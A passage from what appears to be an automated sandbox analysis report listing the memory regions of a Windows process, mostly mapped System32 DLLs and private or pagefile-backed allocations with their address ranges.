	            name = "sxs.dll"
	        filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll")

Region:
	              id = 2367
	        start_va = 0x7fefcf40000
	          end_va = 0x7fefcf7cfff
	     entry_point = 0x7fefcf40000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")

Region:
	              id = 2368
	        start_va = 0x7fefcf80000
	          end_va = 0x7fefcf93fff
	     entry_point = 0x7fefcf80000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 2369
	        start_va = 0x7fefcfa0000
	          end_va = 0x7fefcfaefff
	     entry_point = 0x7fefcfa0000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 2370
	        start_va = 0x7fefd040000
	          end_va = 0x7fefd04efff
	     entry_point = 0x7fefd040000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 2371
	        start_va = 0x7fefd050000
	          end_va = 0x7fefd085fff
	     entry_point = 0x7fefd050000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 2372
	        start_va = 0x7fefd090000
	          end_va = 0x7fefd0a9fff
	     entry_point = 0x7fefd090000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")

Region:
	              id = 2373
	        start_va = 0x7fefd0b0000
	          end_va = 0x7fefd0e9fff
	     entry_point = 0x7fefd0b0000
	     region_type = mapped_file
	            name = "wintrust.dll"
	        filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll")

Region:
	              id = 2374
	        start_va = 0x7fefd0f0000
	          end_va = 0x7fefd15afff
	     entry_point = 0x7fefd0f0000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 2375
	        start_va = 0x7fefd160000
	          end_va = 0x7fefd2c6fff
	     entry_point = 0x7fefd160000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 2376
	        start_va = 0x7fefd370000
	          end_va = 0x7fefd38efff
	     entry_point = 0x7fefd370000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 2377
	        start_va = 0x7fefd430000
	          end_va = 0x7fefd43dfff
	     entry_point = 0x7fefd430000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 2378
	        start_va = 0x7fefd440000
	          end_va = 0x7fefd4d8fff
	     entry_point = 0x7fefd440000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 2379
	        start_va = 0x7fefd4e0000
	          end_va = 0x7fefd546fff
	     entry_point = 0x7fefd4e0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 2380
	        start_va = 0x7fefd680000
	          end_va = 0x7fefd882fff
	     entry_point = 0x7fefd680000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 2381
	        start_va = 0x7fefd890000
	          end_va = 0x7fefd8dcfff
	     entry_point = 0x7fefd890000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 2382
	        start_va = 0x7fefd8e0000
	          end_va = 0x7fefda0cfff
	     entry_point = 0x7fefd8e0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 2383
	        start_va = 0x7fefda10000
	          end_va = 0x7fefdad8fff
	     entry_point = 0x7fefda10000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 2384
	        start_va = 0x7fefdae0000
	          end_va = 0x7fefdae7fff
	     entry_point = 0x7fefdae0000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 2385
	        start_va = 0x7fefdc70000
	          end_va = 0x7fefdd46fff
	     entry_point = 0x7fefdc70000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 2386
	        start_va = 0x7fefdd50000
	          end_va = 0x7fefde58fff
	     entry_point = 0x7fefdd50000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 2387
	        start_va = 0x7fefe0e0000
	          end_va = 0x7fefee67fff
	     entry_point = 0x7fefe0e0000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")

Region:
	              id = 2388
	        start_va = 0x7fefee70000
	          end_va = 0x7fefef0efff
	     entry_point = 0x7fefee70000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 2389
	        start_va = 0x7fefef10000
	          end_va = 0x7fefefeafff
	     entry_point = 0x7fefef10000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 2390
	        start_va = 0x7fefeff0000
	          end_va = 0x7feff060fff
	     entry_point = 0x7fefeff0000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 2391
	        start_va = 0x7feff070000
	          end_va = 0x7feff09dfff
	     entry_point = 0x7feff070000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 2392
	        start_va = 0x7feff0a0000
	          end_va = 0x7feff276fff
	     entry_point = 0x7feff0a0000
	     region_type = mapped_file
	            name = "setupapi.dll"
	        filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll")

Region:
	              id = 2393
	        start_va = 0x7feff300000
	          end_va = 0x7feff351fff
	     entry_point = 0x7feff300000
	     region_type = mapped_file
	            name = "wldap32.dll"
	        filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")

Region:
	              id = 2394
	        start_va = 0x7feff370000
	          end_va = 0x7feff370fff
	     entry_point = 0x7feff370000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 2395
	        start_va = 0x7fffff64000
	          end_va = 0x7fffff65fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff64000"
	        filename = ""

Region:
	              id = 2396
	        start_va = 0x7fffff66000
	          end_va = 0x7fffff67fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff66000"
	        filename = ""

Region:
	              id = 2397
	        start_va = 0x7fffff68000
	          end_va = 0x7fffff69fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff68000"
	        filename = ""

Region:
	              id = 2398
	        start_va = 0x7fffff6a000
	          end_va = 0x7fffff6bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff6a000"
	        filename = ""

Region:
	              id = 2399
	        start_va = 0x7fffff6c000
	          end_va = 0x7fffff6dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff6c000"
	        filename = ""

Region:
	              id = 2400
	        start_va = 0x7fffff6e000
	          end_va = 0x7fffff6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff6e000"
	        filename = ""

Region:
	              id = 2401
	        start_va = 0x7fffff70000
	          end_va = 0x7fffff71fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff70000"
	        filename = ""

Region:
	              id = 2402
	        start_va = 0x7fffff72000
	          end_va = 0x7fffff73fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff72000"
	        filename = ""

Region:
	              id = 2403
	        start_va = 0x7fffff74000
	          end_va = 0x7fffff75fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff74000"
	        filename = ""

Region:
	              id = 2404
	        start_va = 0x7fffff76000
	          end_va = 0x7fffff77fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff76000"
	        filename = ""

Region:
	              id = 2405
	        start_va = 0x7fffff78000
	          end_va = 0x7fffff79fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff78000"
	        filename = ""

Region:
	              id = 2406
	        start_va = 0x7fffff7a000
	          end_va = 0x7fffff7bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff7a000"
	        filename = ""

Region:
	              id = 2407
	        start_va = 0x7fffff7c000
	          end_va = 0x7fffff7dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff7c000"
	        filename = ""

Region:
	              id = 2408
	        start_va = 0x7fffff7e000
	          end_va = 0x7fffff7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff7e000"
	        filename = ""

Region:
	              id = 2409
	        start_va = 0x7fffff80000
	          end_va = 0x7fffff81fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff80000"
	        filename = ""

Region:
	              id = 2410
	        start_va = 0x7fffff82000
	          end_va = 0x7fffff83fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff82000"
	        filename = ""

Region:
	              id = 2411
	        start_va = 0x7fffff84000
	          end_va = 0x7fffff85fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff84000"
	        filename = ""

Region:
	              id = 2412
	        start_va = 0x7fffff86000
	          end_va = 0x7fffff87fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff86000"
	        filename = ""

Region:
	              id = 2413
	        start_va = 0x7fffff88000
	          end_va = 0x7fffff89fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff88000"
	        filename = ""

Region:
	              id = 2414
	        start_va = 0x7fffff8a000
	          end_va = 0x7fffff8bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff8a000"
	        filename = ""

Region:
	              id = 2415
	        start_va = 0x7fffff8c000
	          end_va = 0x7fffff8dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff8c000"
	        filename = ""

Region:
	              id = 2416
	        start_va = 0x7fffff8e000
	          end_va = 0x7fffff8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff8e000"
	        filename = ""

Region:
	              id = 2417
	        start_va = 0x7fffff90000
	          end_va = 0x7fffff91fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff90000"
	        filename = ""

Region:
	              id = 2418
	        start_va = 0x7fffff92000
	          end_va = 0x7fffff93fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff92000"
	        filename = ""

Region:
	              id = 2419
	        start_va = 0x7fffff94000
	          end_va = 0x7fffff95fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff94000"
	        filename = ""

Region:
	              id = 2420
	        start_va = 0x7fffff96000
	          end_va = 0x7fffff97fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff96000"
	        filename = ""

Region:
	              id = 2421
	        start_va = 0x7fffff98000
	          end_va = 0x7fffff99fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff98000"
	        filename = ""

Region:
	              id = 2422
	        start_va = 0x7fffff9a000
	          end_va = 0x7fffff9bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9a000"
	        filename = ""

Region:
	              id = 2423
	        start_va = 0x7fffff9c000
	          end_va = 0x7fffff9dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9c000"
	        filename = ""

Region:
	              id = 2424
	        start_va = 0x7fffff9e000
	          end_va = 0x7fffff9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9e000"
	        filename = ""

Region:
	              id = 2425
	        start_va = 0x7fffffa0000
	          end_va = 0x7fffffa1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa0000"
	        filename = ""

Region:
	              id = 2426
	        start_va = 0x7fffffa2000
	          end_va = 0x7fffffa3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa2000"
	        filename = ""

Region:
	              id = 2427
	        start_va = 0x7fffffa4000
	          end_va = 0x7fffffa5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa4000"
	        filename = ""

Region:
	              id = 2428
	        start_va = 0x7fffffa6000
	          end_va = 0x7fffffa7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa6000"
	        filename = ""

Region:
	              id = 2429
	        start_va = 0x7fffffa8000
	          end_va = 0x7fffffa9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa8000"
	        filename = ""

Region:
	              id = 2430
	        start_va = 0x7fffffaa000
	          end_va = 0x7fffffabfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffaa000"
	        filename = ""

Region:
	              id = 2431
	        start_va = 0x7fffffac000
	          end_va = 0x7fffffadfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffac000"
	        filename = ""

Region:
	              id = 2432
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 2433
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 2434
	        start_va = 0x7fffffd3000
	          end_va = 0x7fffffd4fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd3000"
	        filename = ""

Region:
	              id = 2435
	        start_va = 0x7fffffd5000
	          end_va = 0x7fffffd5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd5000"
	        filename = ""

Region:
	              id = 2436
	        start_va = 0x7fffffd6000
	          end_va = 0x7fffffd7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd6000"
	        filename = ""

Region:
	              id = 2437
	        start_va = 0x7fffffd8000
	          end_va = 0x7fffffd9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd8000"
	        filename = ""

Region:
	              id = 2438
	        start_va = 0x7fffffda000
	          end_va = 0x7fffffdbfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffda000"
	        filename = ""

Region:
	              id = 2439
	        start_va = 0x7fffffdc000
	          end_va = 0x7fffffddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdc000"
	        filename = ""

Region:
	              id = 2440
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""

Region:
	              id = 2654
	        start_va = 0xea0000
	          end_va = 0xea0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000ea0000"
	        filename = ""

Region:
	              id = 2655
	        start_va = 0xec0000
	          end_va = 0xedbfff
	     entry_point = 0xec0000
	     region_type = mapped_file
	            name = "firewallapi.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\FirewallAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\firewallapi.dll.mui")

Region:
	              id = 2656
	        start_va = 0x1680000
	          end_va = 0x16fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001680000"
	        filename = ""

Region:
	              id = 2657
	        start_va = 0x1b20000
	          end_va = 0x1b9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001b20000"
	        filename = ""

Region:
	              id = 2658
	        start_va = 0x3090000
	          end_va = 0x310ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003090000"
	        filename = ""

Region:
	              id = 2659
	        start_va = 0x35d0000
	          end_va = 0x364ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000035d0000"
	        filename = ""

Region:
	              id = 2660
	        start_va = 0x3840000
	          end_va = 0x38bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003840000"
	        filename = ""

Region:
	              id = 2661
	        start_va = 0x4020000
	          end_va = 0x421ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004020000"
	        filename = ""

Region:
	              id = 2662
	        start_va = 0x4220000
	          end_va = 0x431ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004220000"
	        filename = ""

Region:
	              id = 2663
	        start_va = 0x7fef9e40000
	          end_va = 0x7fef9e55fff
	     entry_point = 0x7fef9e40000
	     region_type = mapped_file
	            name = "ncprov.dll"
	        filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll")

Region:
	              id = 2664
	        start_va = 0x1a20000
	          end_va = 0x1a9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001a20000"
	        filename = ""

Region:
	              id = 2665
	        start_va = 0x2e40000
	          end_va = 0x2ebffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002e40000"
	        filename = ""

Region:
	              id = 2666
	        start_va = 0x3110000
	          end_va = 0x318ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003110000"
	        filename = ""

Region:
	              id = 2667
	        start_va = 0x3190000
	          end_va = 0x320ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003190000"
	        filename = ""

Region:
	              id = 2668
	        start_va = 0x3260000
	          end_va = 0x32dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003260000"
	        filename = ""

Region:
	              id = 2669
	        start_va = 0x33c0000
	          end_va = 0x343ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000033c0000"
	        filename = ""

Region:
	              id = 2670
	        start_va = 0x3900000
	          end_va = 0x397ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003900000"
	        filename = ""

Region:
	              id = 2671
	        start_va = 0x3a20000
	          end_va = 0x3a9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003a20000"
	        filename = ""

Region:
	              id = 2672
	        start_va = 0x3b90000
	          end_va = 0x3c0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003b90000"
	        filename = ""

Region:
	              id = 2673
	        start_va = 0x7fef4bc0000
	          end_va = 0x7fef4e12fff
	     entry_point = 0x7fef4bc0000
	     region_type = mapped_file
	            name = "wuaueng.dll"
	        filename = "\\Windows\\System32\\wuaueng.dll" (normalized: "c:\\windows\\system32\\wuaueng.dll")

Region:
	              id = 2674
	        start_va = 0x7fef73a0000
	          end_va = 0x7fef7410fff
	     entry_point = 0x7fef73a0000
	     region_type = mapped_file
	            name = "winspool.drv"
	        filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv")

Region:
	              id = 2675
	        start_va = 0x7fef77c0000
	          end_va = 0x7fef77dafff
	     entry_point = 0x7fef77c0000
	     region_type = mapped_file
	            name = "cabinet.dll"
	        filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll")

Region:
	              id = 2676
	        start_va = 0x7fef8b80000
	          end_va = 0x7fef8be3fff
	     entry_point = 0x7fef8b80000
	     region_type = mapped_file
	            name = "webio.dll"
	        filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")

Region:
	              id = 2677
	        start_va = 0x7fef8bf0000
	          end_va = 0x7fef8c60fff
	     entry_point = 0x7fef8bf0000
	     region_type = mapped_file
	            name = "winhttp.dll"
	        filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")

Region:
	              id = 2678
	        start_va = 0x7fef9070000
	          end_va = 0x7fef907efff
	     entry_point = 0x7fef9070000
	     region_type = mapped_file
	            name = "mspatcha.dll"
	        filename = "\\Windows\\System32\\mspatcha.dll" (normalized: "c:\\windows\\system32\\mspatcha.dll")

Region:
	              id = 2679
	        start_va = 0x7fef9bc0000
	          end_va = 0x7fef9e39fff
	     entry_point = 0x7fef9bc0000
	     region_type = mapped_file
	            name = "esent.dll"
	        filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll")

Region:
	              id = 2680
	        start_va = 0x7fffff70000
	          end_va = 0x7fffff71fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff70000"
	        filename = ""

Region:
	              id = 2681
	        start_va = 0x7fffff72000
	          end_va = 0x7fffff73fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff72000"
	        filename = ""

Region:
	              id = 2682
	        start_va = 0x7fffff74000
	          end_va = 0x7fffff75fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff74000"
	        filename = ""

Region:
	              id = 2683
	        start_va = 0x3780000
	          end_va = 0x387ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003780000"
	        filename = ""

Region:
	              id = 2684
	        start_va = 0x77210000
	          end_va = 0x77216fff
	     entry_point = 0x77210000
	     region_type = mapped_file
	            name = "psapi.dll"
	        filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll")

Region:
	              id = 2685
	        start_va = 0x3dc0000
	          end_va = 0x3dcffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003dc0000"
	        filename = ""

Region:
	              id = 2686
	        start_va = 0x7fefc9e0000
	          end_va = 0x7fefc9e7fff
	     entry_point = 0x7fefc9e0000
	     region_type = mapped_file
	            name = "wmsgapi.dll"
	        filename = "\\Windows\\System32\\wmsgapi.dll" (normalized: "c:\\windows\\system32\\wmsgapi.dll")

Region:
	              id = 2687
	        start_va = 0x7fef7b90000
	          end_va = 0x7fef7b9cfff
	     entry_point = 0x7fef7b90000
	     region_type = mapped_file
	            name = "wups.dll"
	        filename = "\\Windows\\System32\\wups.dll" (normalized: "c:\\windows\\system32\\wups.dll")

Region:
	              id = 2688
	        start_va = 0xf60000
	          end_va = 0xf79fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000f60000"
	        filename = ""

Region:
	              id = 2689
	        start_va = 0x12d0000
	          end_va = 0x12d0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000012d0000"
	        filename = ""

Region:
	              id = 2690
	        start_va = 0x12e0000
	          end_va = 0x12e0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000012e0000"
	        filename = ""

Region:
	              id = 2691
	        start_va = 0x12f0000
	          end_va = 0x12f7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000012f0000"
	        filename = ""

Region:
	              id = 2692
	        start_va = 0x1300000
	          end_va = 0x130ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001300000"
	        filename = ""

Region:
	              id = 2693
	        start_va = 0x1410000
	          end_va = 0x141ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001410000"
	        filename = ""

Region:
	              id = 2694
	        start_va = 0x1420000
	          end_va = 0x142ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001420000"
	        filename = ""

Region:
	              id = 2695
	        start_va = 0x1430000
	          end_va = 0x1430fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001430000"
	        filename = ""

Region:
	              id = 2696
	        start_va = 0x1440000
	          end_va = 0x1441fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001440000"
	        filename = ""

Region:
	              id = 2697
	        start_va = 0x1550000
	          end_va = 0x1550fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001550000"
	        filename = ""

Region:
	              id = 2698
	        start_va = 0x1560000
	          end_va = 0x156ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001560000"
	        filename = ""

Region:
	              id = 2699
	        start_va = 0x15f0000
	          end_va = 0x15f7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000015f0000"
	        filename = ""

Region:
	              id = 2700
	        start_va = 0x1700000
	          end_va = 0x170ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001700000"
	        filename = ""

Region:
	              id = 2701
	        start_va = 0x1710000
	          end_va = 0x171ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001710000"
	        filename = ""

Region:
	              id = 2702
	        start_va = 0x1720000
	          end_va = 0x172ffff
	     entry_point = 0x1720000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 2703
	        start_va = 0x17b0000
	          end_va = 0x17bffff
	     entry_point = 0x17b0000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 2704
	        start_va = 0x17c0000
	          end_va = 0x17cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000017c0000"
	        filename = ""

Region:
	              id = 2705
	        start_va = 0x17d0000
	          end_va = 0x17d7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000017d0000"
	        filename = ""

Region:
	              id = 2706
	        start_va = 0x17f0000
	          end_va = 0x17fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000017f0000"
	        filename = ""

Region:
	              id = 2707
	        start_va = 0x1800000
	          end_va = 0x180ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001800000"
	        filename = ""

Region:
	              id = 2708
	        start_va = 0x1810000
	          end_va = 0x1817fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001810000"
	        filename = ""

Region:
	              id = 2709
	        start_va = 0x1820000
	          end_va = 0x182ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001820000"
	        filename = ""

Region:
	              id = 2710
	        start_va = 0x1930000
	          end_va = 0x193ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001930000"
	        filename = ""

Region:
	              id = 2711
	        start_va = 0x1940000
	          end_va = 0x194ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001940000"
	        filename = ""

Region:
	              id = 2712
	        start_va = 0x1950000
	          end_va = 0x195ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001950000"
	        filename = ""

Region:
	              id = 2713
	        start_va = 0x1960000
	          end_va = 0x196ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001960000"
	        filename = ""

Region:
	              id = 2714
	        start_va = 0x1970000
	          end_va = 0x197ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001970000"
	        filename = ""

Region:
	              id = 2715
	        start_va = 0x1980000
	          end_va = 0x198ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001980000"
	        filename = ""

Region:
	              id = 2716
	        start_va = 0x2340000
	          end_va = 0x234ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002340000"
	        filename = ""

Region:
	              id = 2717
	        start_va = 0x2350000
	          end_va = 0x235ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002350000"
	        filename = ""

Region:
	              id = 2718
	        start_va = 0x2360000
	          end_va = 0x236ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002360000"
	        filename = ""

Region:
	              id = 2719
	        start_va = 0x2370000
	          end_va = 0x237ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002370000"
	        filename = ""

Region:
	              id = 2720
	        start_va = 0x2380000
	          end_va = 0x238ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002380000"
	        filename = ""

Region:
	              id = 2721
	        start_va = 0x2390000
